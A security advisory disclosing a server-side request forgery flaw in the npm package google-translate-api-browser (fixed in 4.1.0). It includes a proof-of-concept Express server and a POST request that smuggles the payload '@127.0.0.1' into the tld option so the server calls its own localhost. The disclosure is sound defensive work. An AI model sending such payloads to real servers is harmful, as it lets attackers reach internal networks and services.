GHSA-4233-7q5q-m7p6 google-translate-api-browser Server-Side Request Forgery (SSRF) Vulnerability

• npm google-translate-api-browser: < 4.1.0 → fixed in 4.1.0

Summary A Server-Side Request Forgery (SSRF) Vulnerability is present in applications utilizing the `google-translate-api-browser` package and exposing the `translateOptions` to the end user. An attacker can set a malicious `tld`, causing the application to return unsafe URLs pointing towards local resources. Details The `translateOptions.tld` field is not properly sanitized before being placed in the Google translate URL. This can allow an attacker with control over the `translateOptions` to set the `tld` to a payload such as `@127.0.0.1`. This causes the full URL to become `https://[email protected]/...`, where `translate.google.` is the username used to connect to localhost. PoC Imagine a server running the following code (closely mimicking the code present in the package's README): ```javascript const express = require('express'); const { generateRequestUrl, normaliseResponse } = require('google-translate-api-browser'); const https = require('https'); const app = express(); app.use(express.json()); app.post('/translate', async (req, res) => { const { text, options } = req.body; const url = generateRequestUrl(text, options); https.get(url, (resp) => { let data = ''; resp.on('data', (chunk) => { data += chunk; }); resp.on('end', () => { res.json(normaliseResponse(JSON.parse(data))); }); }).on("error", (err) => { console.log("Error: " + err.message); }); }); const port = 3000; app.listen(port, () => { console.log(`Server is running on port ${port}`); }); ``` An attacker can then send the following POST request to `/translate`: ``` POST /translate HTTP/1.1 Host: localhost:3000 Content-Type: application/json Content-Length: 51 {"text":"Hello","options": {"tld": "@127.0.0.1"} } ``` This will cause a request to be sent to the localhost of the server running the Node application. Impact An attacker can send requests within internal networks and the local host. Should any HTTPS application be present on the internal network with a vulnerability exploitable via a GET call, then it would be possible to exploit this using this vulnerability.